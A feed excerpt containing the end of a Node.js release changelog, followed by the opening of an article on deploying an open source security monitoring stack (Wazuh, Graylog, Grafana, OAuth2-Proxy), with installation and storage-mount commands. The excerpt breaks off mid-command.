<li>[<a href="https://github.com/nodejs/node/commit/3ed783535f"><code>3ed783535f</code></a>] - <strong>stream</strong>: fix writev unhandled rejection in fromWeb (sangwook) <a href="https://github.com/nodejs/node/pull/62297" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62297/hovercard">#62297</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/29b196694c"><code>29b196694c</code></a>] - <strong>stream</strong>: noop pause/resume on destroyed streams (Robert Nagy) <a href="https://github.com/nodejs/node/pull/62557" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62557/hovercard">#62557</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d73dbb9fc8"><code>d73dbb9fc8</code></a>] - <strong>stream</strong>: refactor duplexify to be less suceptible to prototype pollution (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62559" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62559/hovercard">#62559</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6f37f7e240"><code>6f37f7e240</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>stream</strong>: propagate destruction in duplexPair (Ahmed Elhor) <a href="https://github.com/nodejs/node/pull/61098" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61098/hovercard">#61098</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b8816580e9"><code>b8816580e9</code></a>] - <strong>test</strong>: generate <code>localstorage.db</code> in a temp dir (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/62660" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62660/hovercard">#62660</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/31a863fd29"><code>31a863fd29</code></a>] - <strong>test</strong>: update WPT for url to 258f285de0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63087" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63087/hovercard">#63087</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d0d19bd8e3"><code>d0d19bd8e3</code></a>] - <strong>test</strong>: update WPT for streams to f8f26a372f (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62864" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62864/hovercard">#62864</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f50ac5bc78"><code>f50ac5bc78</code></a>] - <strong>test</strong>: improve config-file permission test coverage (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/60929" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60929/hovercard">#60929</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a0f90000f4"><code>a0f90000f4</code></a>] - <strong>test</strong>: export isRiscv64 from common module (Jamie Magee) <a href="https://github.com/nodejs/node/pull/62609" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62609/hovercard">#62609</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/da4dd8646f"><code>da4dd8646f</code></a>] - <strong>test</strong>: normalize known inspector crash as completion (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/62851" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62851/hovercard">#62851</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b7fdd94a4c"><code>b7fdd94a4c</code></a>] - <strong>test</strong>: account for RFC 7919 FFDHE negotiation in OpenSSL 4.0 (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62805" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62805/hovercard">#62805</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/375a993aaf"><code>375a993aaf</code></a>] - <strong>test</strong>: skip tls-deprecated secp256k1 on OpenSSL 4.0 (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62805" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62805/hovercard">#62805</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/698d8287d1"><code>698d8287d1</code></a>] - <strong>test</strong>: use an always invalid cipher and cover OpenSSL 4.0 behaviours (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62805" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62805/hovercard">#62805</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/036bc6f300"><code>036bc6f300</code></a>] - <strong>test</strong>: use valid DER OCSP responses (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62805" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62805/hovercard">#62805</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3aa9938da8"><code>3aa9938da8</code></a>] - <strong>test</strong>: skip test-tls-error-stack when engines are unsupported (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62805" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62805/hovercard">#62805</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/947f1ae246"><code>947f1ae246</code></a>] - <strong>test</strong>: accept renamed OpenSSL 4.0 error code and reason (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62805" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62805/hovercard">#62805</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/afdd355622"><code>afdd355622</code></a>] - <strong>test</strong>: update test/addons/openssl-binding for OpenSSL 4.0 (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62805" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62805/hovercard">#62805</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8637524a99"><code>8637524a99</code></a>] - <strong>test</strong>: mark test-snapshot-reproducible flaky (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62808" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62808/hovercard">#62808</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c22d34134b"><code>c22d34134b</code></a>] - <strong>test</strong>: check contextify contextual store behavior in strict mode (René) <a href="https://github.com/nodejs/node/pull/62571" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62571/hovercard">#62571</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0b4e0d3c94"><code>0b4e0d3c94</code></a>] - <strong>test</strong>: update tls junk data error expectations (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62629" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62629/hovercard">#62629</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/85d83c2cdb"><code>85d83c2cdb</code></a>] - <strong>test</strong>: ensure WPT report is in out/wpt (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62637" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62637/hovercard">#62637</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9e21711c60"><code>9e21711c60</code></a>] - <strong>test</strong>: improve WPT runner summary (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62636" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62636/hovercard">#62636</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e04e2c9ac1"><code>e04e2c9ac1</code></a>] - <strong>test</strong>: skip url WPT subtests instead of modifying test script (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62635" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62635/hovercard">#62635</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7b1211f88c"><code>7b1211f88c</code></a>] - <strong>test</strong>: capture negative utimes mtime at call time (Yuya Inoue) <a href="https://github.com/nodejs/node/pull/62490" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62490/hovercard">#62490</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f1a6e9fcc7"><code>f1a6e9fcc7</code></a>] - <strong>test</strong>: allow skipping individual WPT subtests (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62517" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62517/hovercard">#62517</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/23f927542e"><code>23f927542e</code></a>] - <strong>test</strong>: use on-disk fixture for test-npm-install (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/62584" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62584/hovercard">#62584</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4739c45879"><code>4739c45879</code></a>] - <strong>test</strong>: update WPT for url to 7a3645b79a (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62591" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62591/hovercard">#62591</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f68189b839"><code>f68189b839</code></a>] - <strong>test_runner</strong>: add <code>testId</code> to test events (Moshe Atlow) <a href="https://github.com/nodejs/node/pull/62772" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62772/hovercard">#62772</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5c2770446e"><code>5c2770446e</code></a>] - <strong>test_runner</strong>: publish to TracingChannel for OTel instrumentation (Moshe Atlow) <a href="https://github.com/nodejs/node/pull/62502" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62502/hovercard">#62502</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d14029be7f"><code>d14029be7f</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>test_runner</strong>: support test order randomization (Pietro Marchini) <a href="https://github.com/nodejs/node/pull/61747" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61747/hovercard">#61747</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3f74a58979"><code>3f74a58979</code></a>] - <strong>test_runner</strong>: update node-config-schema (Pietro Marchini) <a href="https://github.com/nodejs/node/pull/58680" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58680/hovercard">#58680</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/60c83f6199"><code>60c83f6199</code></a>] - <strong>test_runner</strong>: fix failing suite hooks when marked with <code>todo</code> (Moshe Atlow) <a href="https://github.com/nodejs/node/pull/63097" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63097/hovercard">#63097</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d142c584cd"><code>d142c584cd</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>test_runner</strong>: align mock timeout api (sangwook) <a href="https://github.com/nodejs/node/pull/62820" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62820/hovercard">#62820</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3e72065ed6"><code>3e72065ed6</code></a>] - <strong>test_runner</strong>: fix suite rerun edge case (Moshe Atlow) <a href="https://github.com/nodejs/node/pull/62860" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62860/hovercard">#62860</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/01a9552585"><code>01a9552585</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>test_runner</strong>: add mock-timers support for AbortSignal.timeout (DeveloperViraj) <a href="https://github.com/nodejs/node/pull/60751" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60751/hovercard">#60751</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dd43efffa6"><code>dd43efffa6</code></a>] - <strong>test_runner</strong>: add passed, attempt, and diagnostic to SuiteContext (Moshe Atlow) <a href="https://github.com/nodejs/node/pull/62504" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62504/hovercard">#62504</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a12dc445cc"><code>a12dc445cc</code></a>] - <strong>tools</strong>: add a check for clean git tree after tests (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62661" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62661/hovercard">#62661</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5b49178375"><code>5b49178375</code></a>] - <strong>tools</strong>: use LTS Node.js in notify-on-push workflow (Nenad Spasenic) <a href="https://github.com/nodejs/node/pull/63084" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63084/hovercard">#63084</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5a93bde5bb"><code>5a93bde5bb</code></a>] - <strong>tools</strong>: update gr2m/create-or-update-pull-request-action to v1.10.1 (Mike McCready) <a href="https://github.com/nodejs/node/pull/63065" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63065/hovercard">#63065</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b133019d19"><code>b133019d19</code></a>] - <strong>tools</strong>: simplify <code>update-undici.sh</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63044" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63044/hovercard">#63044</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/04d3538074"><code>04d3538074</code></a>] - <strong>tools</strong>: do not run <code>test-linux</code> on unrelated tools changes (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63037" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63037/hovercard">#63037</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4d396ac4a5"><code>4d396ac4a5</code></a>] - <strong>tools</strong>: bump the eslint group in /tools/eslint with 4 updates (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62848" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62848/hovercard">#62848</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9354bf40e7"><code>9354bf40e7</code></a>] - <strong>tools</strong>: update gyp-next to 0.22.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62961" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62961/hovercard">#62961</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c23db1ca85"><code>c23db1ca85</code></a>] - <strong>tools</strong>: fix commit linter for semver-major release proposals (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62993" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62993/hovercard">#62993</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6e097ee3f1"><code>6e097ee3f1</code></a>] - <strong>tools</strong>: consolidate and simplify .editorconfig deps section (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/62887" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62887/hovercard">#62887</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a47ea6d6ea"><code>a47ea6d6ea</code></a>] - <strong>tools</strong>: set bot as author of tools-deps-update PRs (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62856" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62856/hovercard">#62856</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/00e86f0471"><code>00e86f0471</code></a>] - <strong>tools</strong>: bump brace-expansion from 5.0.4 to 5.0.5 in /tools/eslint (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62458" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62458/hovercard">#62458</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cd7e262e75"><code>cd7e262e75</code></a>] - <strong>tools</strong>: bump brace-expansion in /tools/clang-format (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62467" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62467/hovercard">#62467</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bfc1319bc8"><code>bfc1319bc8</code></a>] - <strong>tools</strong>: exclude @node-core/doc-kit from dependabot cooldown (Levi Zim) <a href="https://github.com/nodejs/node/pull/62775" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62775/hovercard">#62775</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a932fbd10b"><code>a932fbd10b</code></a>] - <strong>tools</strong>: re-enable undici WPTs in daily wpt.fyi job (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62677" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62677/hovercard">#62677</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f7bd9e3055"><code>f7bd9e3055</code></a>] - <strong>tools</strong>: update gyp-next to 0.22.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62697" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62697/hovercard">#62697</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c400d46d87"><code>c400d46d87</code></a>] - <strong>tools</strong>: improve backport review script (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62573" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62573/hovercard">#62573</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/be23b75814"><code>be23b75814</code></a>] - <strong>tools</strong>: improve output for unexpected passes in WTP tests (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62587" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62587/hovercard">#62587</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/609c013ece"><code>609c013ece</code></a>] - <strong>tools</strong>: revert OpenSSL update workflow to ubuntu-latest (Richard Lau) <a href="https://github.com/nodejs/node/pull/62627" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62627/hovercard">#62627</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/81bac1ebfd"><code>81bac1ebfd</code></a>] - <strong>tools</strong>: bump the eslint group in /tools/eslint with 2 updates (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62552" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62552/hovercard">#62552</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1fee26522d"><code>1fee26522d</code></a>] - <strong>tools</strong>: allow triagers to queue a PR for CI until it's reviewed (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62524" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62524/hovercard">#62524</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/332088f929"><code>332088f929</code></a>] - <strong>tools</strong>: do not run <code>commit-lint</code> on release proposals (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62523" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62523/hovercard">#62523</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9a25fc8a4d"><code>9a25fc8a4d</code></a>] - <strong>url</strong>: process crash via malformed UNC hostname in pathToFileURL() (Nicola Del Gobbo) <a href="https://github.com/nodejs/node/pull/62574" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62574/hovercard">#62574</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7bd08ff60a"><code>7bd08ff60a</code></a>] - <strong>url</strong>: optimize URLSearchParams set/delete duplicate handling (Gürgün Dayıoğlu) <a href="https://github.com/nodejs/node/pull/62266" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62266/hovercard">#62266</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2d636388fa"><code>2d636388fa</code></a>] - <strong>url</strong>: align default argument handling for URLPattern with webidl (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62719" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62719/hovercard">#62719</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/00705a459a"><code>00705a459a</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>util</strong>: colorize text with hex colors (Guilherme Araújo) <a href="https://github.com/nodejs/node/pull/61556" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61556/hovercard">#61556</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0e2adb3e45"><code>0e2adb3e45</code></a>] - <strong>watch</strong>: track worker entry files in watch mode (SudhansuBandha) <a href="https://github.com/nodejs/node/pull/62368" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62368/hovercard">#62368</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c58fe38211"><code>c58fe38211</code></a>] - <strong>watch</strong>: fix --env-file-if-exists crashing on linux if the file is missing (Efe) <a href="https://github.com/nodejs/node/pull/61870" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61870/hovercard">#61870</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Open Source Security IT Platform: Threat Detection, Logging, Alerts, AI and SSO integration.]]></title>
<description><![CDATA[A real-world implementation with Wazuh, Graylog, MongoDB, Grafana, Nginx, OAuth2-Proxy, Redis, AI and SSO — no licenses, no vendor lock-in.Managing IT infrastructure security without commercial tools is entirely possible. This documenting the implementation of a complete open source security plat...]]></description>
<link>https://tsecurity.de/de/3528497/hacking/open-source-security-it-platform-threat-detection-logging-alerts-ai-and-sso-integration/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3528497/hacking/open-source-security-it-platform-threat-detection-logging-alerts-ai-and-sso-integration/</guid>
<pubDate>Tue, 19 May 2026 11:23:42 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><strong>A real-world implementation with Wazuh, Graylog, MongoDB, Grafana, Nginx, OAuth2-Proxy, Redis, AI and SSO — no licenses, no vendor lock-in.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UMOUaxSeMAE6VlSdtFrnJg.jpeg"></figure><p>Managing IT infrastructure security without commercial tools is entirely possible. This documenting the implementation of a complete open source security platform, deployed in production.</p><p>This is not a generic tutorial. It’s a guide based on real decisions, and an architecture that runs in production today.</p><h3>What problem does this platform solve?</h3><p>In any organization, visibility into what’s happening on servers tends to be fragmented: logs are scattered across different locations, alerts don’t arrive in real time, and each system has its own credentials. The result is an IT team that reacts instead of anticipating.</p><p>This platform centralizes three critical capabilities:</p><ul><li><strong>Threat detection</strong> — Wazuh monitors security events, file integrity, and system behavior in real time.</li><li><strong>Log management</strong> — Graylog receives, indexes, alerts, and allows querying all infrastructure logs from a single point.</li><li><strong>Operational visualization</strong> — Grafana delivers real-time dashboards.</li></ul><p>All of this is accessible through <strong>a single sign-on</strong> using the corporate account, thanks to OAuth2-Proxy.</p><h3>The architecture in brief</h3><p>The solution is built on five layers:</p><p><strong>Detection layer:</strong> Wazuh acts as the SIEM/XDR engine. It analyzes events, correlates alerts, and generates notifications. These events/alerts are sent to Graylog via Fluent Bit.</p><p><strong>Transport layer:</strong> Fluent Bit reads Wazuh events and forwards them to Graylog over RAW TCP. It’s lightweight, efficient, and highly configurable.</p><p><strong>Log management layer:</strong> Graylog parses the JSON data, indexes all events, enables natural language searches, and exposes an Bridge that we later integrate with Claude via MCP.</p><p><strong>Visualization layer:</strong> Grafana connects to Wazuh as a datasource and presents data in real-time operational dashboards.</p><p><strong>Access layer:</strong> Nginx acts as a reverse proxy with TLS ar HTTP header-based authentication. OAuth2-Proxy validates user identity against OIDC and propagates it to each application. Redis stores the sessions.</p><h3>Technology stack</h3><p>The entire stack is open source and runs on a single Linux server:</p><ul><li>Ubuntu 26.04 LTS</li><li>Wazuh v4.14.5</li><li>Graylog v7.1.0</li><li>MongoDB v7.0</li><li>Grafana v13.0.1</li><li>OAuth2-Proxy v7.15.2</li><li>Fluent Bit v5.0.5</li><li>Nginx v1.28.3</li><li>Redis v8.0.5</li></ul><p><strong>Hardware:</strong> Minimum 8 CPU cores, 16 GB RAM <br><strong>Storage:</strong> Dedicated LVM volumes (OS, data and logs separated)</p><h3>Why this design?</h3><p>Two architectural decisions deserve explanation:</p><p><strong>Separate LVM volumes.</strong> The operating system, application data, and logs live on independent partitions. If logs grow out of control, they don’t affect the OS or application data. Scaling log storage is as simple as expanding the corresponding volume.</p><p><strong>A single authentication point.</strong> Instead of managing users and passwords separately, OAuth2-Proxy delegates all authentication to IdP. The user logs in once and accesses all three systems. Local credentials are eliminated from the lifecycle.</p><h3>What’s coming in the next articles</h3><p>This series covers the complete implementation, component by component:</p><ol><li><strong>Introduction and architecture</strong> ← you are here</li><li><a href="https://infosecwriteups.com/open-source-security-platform-for-it-infrastructure-centralizing-threat-detection-logs-and-sso-c08d1b412f37#2776">Wazuh</a> — SIEM/XDR</li><li><a href="https://infosecwriteups.com/open-source-security-platform-for-it-infrastructure-centralizing-threat-detection-logs-and-sso-c08d1b412f37#8987">MongoDB</a> — Graylog’s DB</li><li><a href="https://infosecwriteups.com/open-source-security-platform-for-it-infrastructure-centralizing-threat-detection-logs-and-sso-c08d1b412f37#a640">Graylog</a> — Log management, data input, alerts</li><li><a href="https://infosecwriteups.com/open-source-security-platform-for-it-infrastructure-centralizing-threat-detection-logs-and-sso-c08d1b412f37#f229">Fluent Bit</a> — Log shipper</li><li><a href="https://infosecwriteups.com/open-source-security-platform-for-it-infrastructure-centralizing-threat-detection-logs-and-sso-c08d1b412f37#014b">Grafana</a> — Real-Time Operational Dashboards</li><li><a href="https://infosecwriteups.com/open-source-security-platform-for-it-infrastructure-centralizing-threat-detection-logs-and-sso-c08d1b412f37#4874">OAuth2-Proxy</a> — Single Sign-On with IdP (Identity Provider)</li><li><a href="https://infosecwriteups.com/open-source-security-platform-for-it-infrastructure-centralizing-threat-detection-logs-and-sso-c08d1b412f37#3b56">Redis</a> — Session Persistence and Storage</li><li><a href="https://infosecwriteups.com/open-source-security-platform-for-it-infrastructure-centralizing-threat-detection-logs-and-sso-c08d1b412f37#b390">Nginx</a> — Reverse Proxy with TLS and Header-Based Authentication</li><li><a href="https://infosecwriteups.com/open-source-security-platform-for-it-infrastructure-centralizing-threat-detection-logs-and-sso-c08d1b412f37#fcdf">Troubleshooting Guide</a></li><li><a href="https://infosecwriteups.com/open-source-security-platform-for-it-infrastructure-centralizing-threat-detection-logs-and-sso-c08d1b412f37#938b">Authentication </a>— Four steps: SSO and intregation Graylog with Wazuh</li><li><a href="https://infosecwriteups.com/open-source-security-platform-for-it-infrastructure-centralizing-threat-detection-logs-and-sso-c08d1b412f37#e3ed">Graylog Ingest</a> — Configuring Data Ingest from Fluent Bit</li><li><a href="https://infosecwriteups.com/open-source-security-platform-for-it-infrastructure-centralizing-threat-detection-logs-and-sso-c08d1b412f37#6a74">Graylog MCP + Claude</a> — Querying logs in natural language with AI</li><li><a href="https://infosecwriteups.com/open-source-security-platform-for-it-infrastructure-centralizing-threat-detection-logs-and-sso-c08d1b412f37#48e5">Final architecture, evidences, and conclusions</a></li></ol><p>Each article includes the exact commands used in production.</p><p>Recommendation: Create a working directory. In some sections, we jump to different directories cd; after each step, return to the directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*469jrtAPhs6EMetM.png"></figure><h3>Wazuh: SIEM/XDR</h3><p><strong><em>Part 2</em></strong></p><p>This article covers the foundation of the entire stack: the server where the platform lives, and the installation and configuration of Wazuh — the SIEM/XDR engine that detects and correlates security events in real time.</p><p><strong>The server platform<br></strong>Before installing any component, it’s worth explaining the storage decision. We use <strong>separate LVM volumes</strong> for the operating system, application data, and logs:</p><p>Volume Size Path Operating system 60 GB / Data 150 GB /data Logs 20 GB /log Swap 4 GB — estimate sizes based on own infrastructure.</p><p><strong>Why this separation?</strong> If logs grow out of control — and they will — they don’t affect the operating system or application data. Scaling log storage is as simple as expanding the /log volume without touching anything else. The same logic applies to application data in /data.</p><p><strong>Wazuh: the detection engine<br></strong>Wazuh is an open source SIEM (Security Information and Event Management) and XDR (Extended Detection and Response) platform. In practical terms, it continuously monitors system events, correlates alerts, detects file integrity issues, access anomalies, and much more.</p><p>In this implementation, Wazuh serves two roles:</p><ol><li><strong>Detection</strong> — analyzes operating system and service events.</li><li><strong>Export</strong> — generates alerts in JSON format that Fluent Bit forwards to Graylog.</li></ol><h3>Installation</h3><p>Wazuh’s installation is notable for its simplicity: a single script handles the entire stack (Wazuh Manager, Indexer, and Dashboard).</p><pre>curl -sO https://packages.wazuh.com/4.14/wazuh-install.sh &amp;&amp; bash ./wazuh-install.sh -a</pre><blockquote><strong><em>Info: </em></strong>Despite the compatibility information, it works without problems with Ubuntu 26.04.</blockquote><blockquote>“The recommended systems are: Red Hat Enterprise Linux 7, 8, 9; CentOS 7, 8; Amazon Linux 2; Amazon Linux 2023; Ubuntu 16.04, 18.04, 20.04, 22.04; Rocky Linux 9.4”</blockquote><blockquote><strong><em>Test environments:</em></strong><em> If the server doesn’t meet the minimum hardware requirements (4 GB RAM, 2 CPU cores), add the </em><em>-i argument to skip the validation.</em></blockquote><h3>Configuration</h3><p>The Wazuh installer places its data in default paths /var/lib/wazuh-indexer, /var/ossec/logs. We need to mount bind them to our LVM volumes while keeping the original paths functional.</p><pre># Stop services<br><br>systemctl stop wazuh-indexer wazuh-dashboard wazuh-manager filebeat</pre><p>Filebeat is included in the Wazuh installation but we’ll replace it with Fluent Bit, which is lighter and more flexible for forwarding events to Graylog.</p><pre># Disable Filebeat<br><br>systemctl disable filebeat</pre><pre># Create directory structure<br><br>mkdir -p /data/wazuh-indexer/lib /log/wazuh-indexer /data/wazuh/ossec/logs</pre><pre># Assign permissions to the service user and files<br><br>chown wazuh-indexer:wazuh-indexer /data/wazuh-indexer/lib /log/wazuh-indexer<br>chown wazuh:wazuh /data/wazuh/ossec/logs<br>chmod 770 /data/wazuh/ossec/logs </pre><pre># Move existing content<br><br>mv /var/lib/wazuh-indexer/* /data/wazuh-indexer/lib/<br>mv /var/ossec/logs/* /data/wazuh/ossec/logs/</pre><p><strong>Mount with bind — preserving original paths</strong></p><p>The key is using bind mounts: services continue using their default paths, but the actual storage is on the LVM volumes. This avoids modifying Wazuh’s internal configuration.</p><blockquote>Evaluate:<br>With “nofails” the server will start even if the mounts fail, but the services will fail. <br>Omitting “nofails” will start in emergency mode.</blockquote><pre>echo "/data/wazuh/ossec/logs /var/ossec/logs none defaults,bind,nofail 0 0" &gt;&gt; /etc/fstab<br>echo 